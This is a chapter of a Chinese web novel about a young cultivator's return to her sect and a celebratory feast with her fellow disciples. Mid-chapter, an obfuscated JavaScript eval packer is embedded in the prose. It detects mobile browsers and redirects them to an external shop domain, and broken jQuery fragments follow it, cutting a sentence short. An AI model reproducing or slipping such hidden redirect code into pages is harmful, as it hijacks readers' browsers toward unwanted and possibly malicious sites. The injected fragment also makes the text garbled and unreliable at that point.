文趣网 > 都市小说 > 白月光替身只想做自己 > 60. 第六十章
    仙域结界外,阮成云和皇后被妥善安置在一个民风淳朴、与世无争的村落里。此地受仙域力量庇佑,常年沐浴着从结界内溢出的温和仙泽,村民们因此得以滋养身心,普遍有延年益寿之效。

    阮轻浣路过此地时,特意停留,与二人短暂相聚了半日时光。她见村中乡邻对二人和善有加,日常起居也多有照拂,心中那份牵挂便渐渐落到实处,感到宽慰与安心。

    眼下的生活虽平淡,却安稳宁静,这样的日子,于她们而言,怎么不算是最好的归宿呢?

    倘若有机会,阮轻浣盘算着,将来时机成熟,定要将二人光明正大地接入仙域,让她们在崇梓山中安居,届时也能成为自己经营田产、扩展商业的可靠助力,让一家人的力量凝聚在一处。

    进入结界,回归崇梓山的途中,阮轻浣与槿汜二人一前一后,静静站立在宽阔的云枫之上,御风而行。

    俯瞰着脚下渐近的熟悉山峦,阮轻浣轻轻舒了一口气,感慨道:“这些日子在外奔波,经历了这许多风波与琐事,如今总算是平安归来了。”

    “可不是嘛,跟小师妹待在一起的时间居然这么快就结束了~离开崇梓山这么久,师姐也肯定十分想念我们的。”说完这话,槿汜直接把她搂到胳膊弯里,有点纳闷地问,“哎,你怎么还不变回去原来的样子?”

    “我没有吗?”阮轻浣困惑地挠了挠头,她下意识地低头打量自己周身上下,又尝试着运转法力,想要将身体恢复原状,可几番努力皆是徒劳。

    她眉头微蹙,带着几分无奈与讶异说道:“完了,好像真的变不回去了。”

    “啊?”槿汜闻言大惊,语气中满是难以置信,“你的意思是,现在这副模样就是你的本体了?难不成那潭水的效力直到此刻才完全显现出来?”

    阮轻浣抬起眼,用一双写满无辜与求助的眼睛可怜巴巴地望着他,随后轻轻点了点头,算是默认了槿汜的猜测。

    槿汜凝视她良久,喉结不自觉滚动了一下,伸出手捏了捏她软润的面颊,低笑出声道:“如今这样也很好,我看着比从前更顺眼。”

    阮轻浣拍开他的手,瞪了他一眼,双颊被捏得泛起热意,侧过脸梳理被风吹乱的发丝,佯作恼怒道:“怎么,你从前看我不顺眼?”

    “没有没有。”槿汜连忙摆手否认,“是越来越顺眼了。”

    二人说话间,崇梓山已近在咫尺,院门前练渔歌早已提着食篮等候在此。

    见二人驾云枫落地,练渔歌当即笑着迎上前来:“可算是等到你们回来了,阿垣在厨房烹煮了你们爱吃的菜,正等着你们回去呢。”

    阮轻浣眼中一亮,正要迈步上前,练渔歌却忽然顿住脚步,睁大眼睛端详她:“小师妹?你这是……怎么和出发的时候不一样了?”

    阮轻浣抬手抚上自己的脸,正欲开口解释,槿汜已大步走上前揽住她的肩,满面得意开口道:“她得了些许机缘,是不是比从前更可爱了?”

    练渔歌喜上眉梢,伸出手指点了点槿汜的额头:“就你话多,安然归来就好,快跟着我进去吧,阿垣都等急了。”

    一行人刚踏入堂屋,饭菜的香气便迎面袭来。思垣从厨房探出身来,脸颊沾着几点面粉,望见进门的几人,眼中骤然生出光亮,开口道:“小师妹,阿汜,你们总算回来了。”

    话音刚落,他的目光落在阮轻浣身上,怔了一瞬,语气之中添了几分欣慰:“小师妹长高了。”

    阮轻浣尴尬地笑了笑。

    一桌热腾的饭菜已然摆好,离家多日的二人早已腹中空空,话音落下时,除夕也扑扇着翅膀飞到了桌上。

    阮轻浣捧着温热的米饭,看着身边说说笑笑的师兄师姐,只觉得这一路的风尘都被这满室的烟火气熨得服帖。

    吃完饭,练渔歌便拉着阮轻浣坐下,细细询问这一路上的种种遭遇。

    练渔歌听罢他们在南岛的遭遇,又念及御南国师那番处心积虑的阴谋,不由得神色凝重,深深叹了口气。

    面对待她极好的人,阮轻浣不再隐瞒,将自己亡国公主的身份和盘托出。

    可这些,他们又怎会在意呢?如今的模样与身份,一切皆是恰到好处的安排。

    当听闻芝黎竟还顽强地吊着一口气时,练渔歌立刻请了乌洄崖的医修前辈前来诊治。

    医修前辈诊察之后,取出一枚清魂灵丹,又施了几道安魂定魄的法术。

    临行前他叮嘱:芝黎魂魄受创深重,须于灵脉充盈之地静摄休养三五年,待魂魄根基稳固之后,便可苏醒。

    众人闻此言后皆松了一口气,随即将芝黎安置于后山僻静竹舍之中,思垣在此布设阵法,可每日吸纳仙域灵力,持续为芝黎供给温养。

    诸事落定,崇梓山又恢复了往日平静悠然的模样。

    阮轻浣每日跟着师兄师姐们练剑读书,得空便捣鼓些山下买来的新种子,在院角开出半亩菜畦,种上应季的青菜瓜果。

    槿汜总爱凑过来帮她松土浇水,只是时常毛手毛脚碰坏菜苗,惹得阮轻浣笑着追着他打。

    暖阳斜斜落在庭院里,满院都是细碎的欢声,日子过得慢悠悠又暖融融的。

    不过七日,鄢向晚便带来了悬赏金已下发的好消息。午后,除夕去流云峰办事,刚好顺道把人接了过来。

    如今玄清已经是八仙楼的二把手,忙得不可开交,这反倒让鄢向晚得了清闲。

    “恭喜两位圆满完成任务,连本带利全都在这儿了。”鄢向晚刚进门就扬起手里沉甸甸的锦袋,笑得眉眼弯弯,“另外,协助檀溪师妹完成任务的份额也在里面。”

    居然还有意外之喜,看来这一趟确实没白去。

    阮轻浣喜不自胜地接过锦袋,指尖刚触碰到袋里冰凉的金锭,除夕就扑棱着翅膀落到了她肩头,叽叽喳喳地说道:“吾带了八仙楼新酿的醉八仙,正好今晚咱们畅饮一番,可惜玄清那家伙没这个口福咯。”

    这边除夕刚感念完,那头玄清正坐在八仙楼二楼的雅间里奋笔疾书,还不忘打了两个喷嚏,权当回应了这边的惦念。

    “正有此意。”阮轻浣笑着将锦袋收好,转头看向鄢向晚开口道:“对了,鄢师姐,今夜我们不如一同庆祝一番如何?我来下厨!”

    鄢向晚与练渔歌对视一眼,爽快地应道:“那便恭敬不如从命了。”

    思垣从厨房探出头,手里还攥着锅铲,无奈地摇了摇头说:“那我先把今晚的解酒汤煨上。”

    夜色渐浓,崇梓山的庭院里却灯火通明。阮轻浣在灶台前忙得团团转,锅铲翻飞间香气四溢。

    练渔歌在一旁帮她择菜,时不时出声指点两句火候把控。

    思垣守着小炉慢煨着汤,时不时掀开盖子查看汤色与进度。得空的时候,他也过去帮阮轻浣打下手。

    槿汜和鄢向晚站在院子里的石桌旁摆放碗筷,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788536|210270||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    除夕蹲在酒坛边,扑棱着翅膀不停催促:“快些开坛!这醉八仙放得久了,可是会失掉灵气的。”

    “急什么?难不成还想再加一道硬菜——醉隼?”槿汜笑着敲了敲它的脑袋,“小师妹的手艺可还没上桌呢。”

    话音刚落,一道清蒸灵鱼便被端了上来,鱼身莹白如玉,缀着几片翠绿香叶,周身灵光微微流转——这鱼是自家后山荷塘里养的,用山中晨露搭配灵泉,以秘制烹鱼之法做成。

    紧接着,酱焖山菇、翡翠笋片、香菇滑肉、辣子鸡丁……一盘盘热气腾腾的菜肴陆续摆满石桌,连平日里素来寡言的思垣都循着香气而来,静静站在廊下望着这热闹的一幕,嘴角不自觉地微微扬了起来。

    酒过三巡,席间已是笑语喧哗,人声融融。

    槿汜穿了件宽宽松松的青衫,胳膊懒懒散散搭在桌边上,晃了晃手里头盛得满当当的酒杯,站起身转了两步,就抬着杯子敬给站在石桌旁的阮轻浣,大着嗓门乐呵呵喊:

    “敬咱们小师妹!这一路能顺顺当当拿下这个悬赏任务,可全靠咱们机灵能干的小师妹帮忙。那一大笔丰厚的悬赏金,大头功劳都是她的,还有啊——”

    说到这儿他故意顿住,慢悠悠拖着调子不往下说,眉眼一弯,还带着几分促狭调皮眨了眨眼。

    他脚步微微打了个晃,顺着石桌边往阮轻浣身边凑过来,带着酒气的声音拖得软绵绵的:“说起来,咱们小师妹可是越长越好看了。”

    “你醉了。”阮轻浣被他凑过来的酒气熏得头疼,又见他脚步踉跄失了重心,便顺势扶住了他的肩膀。当她侧过脸,不经意间对上他那双眼睛时,不由得微微一怔。

    那双湛蓝色的眼眸,此刻仿佛蒙上了一层薄薄的、湿润的水汽,像是晨雾笼罩下的静谧湖泊,又像是被某种深藏的情绪轻轻浸染过。这瞬间的对视,让她的心跳仿佛漏了一拍,随即又缓缓沉落,周遭的一切都在这短暂的恍惚里变得模糊而遥远。

    “小师妹,你可不能被流云峰那老家伙给勾走了。”话刚说完,槿汜居然像个小孩子似的,露出了一脸委屈的模样。

    练渔歌见槿汜打趣小师妹,急忙伸手将他拉了回来,语气略带责备地说道:“别胡闹,不许拿小师妹开玩笑。”

    槿汜被拽得身子一晃,一屁股跌坐在石凳上,幸好双臂及时撑住桌面,才没摔个趔趄。他稳住身形后,略带委屈地低声抱怨:“师姐,你放开我……我说真的。”

    鄢向晚捂着嘴笑,脸颊晕着微红抬眼看向练渔歌,伸手拦了下来:“姐姐,小孩子闹一闹也没什么,这里也没有外人。”

    看这样子,鄢向晚也有几分醉意,动作带着几分酒后的迟钝,拉扯间力道偏沉,晃得发髻上的银铃清清脆脆响个不停。

    “晚晚,你也少喝点酒吧。”练渔歌语气里带着关切地说道,声音里透着一丝不易察觉的担忧。她望着鄢向晚微醺的面容,见她眼神已有些迷离,撤走酒杯又轻声补了一句:“莫要再贪杯。”

    月光斜斜洒在竹墙上,树影随风摇曳,清浅酒香混着饭菜热气,在晚风中缓缓氤氲开来。

    这一刻,没有家国旧事,没有蛊毒阴谋,亦无身份之隔——只有山中这一方烟火隔世,盛满了久别重逢的暖意。

    宴至尾声,思垣端出温热的解酒汤,众人捧碗啜饮,一时静默。唯有山风穿过竹林,发出沙沙轻响,仿佛天地也在为这场团圆悄然祝福。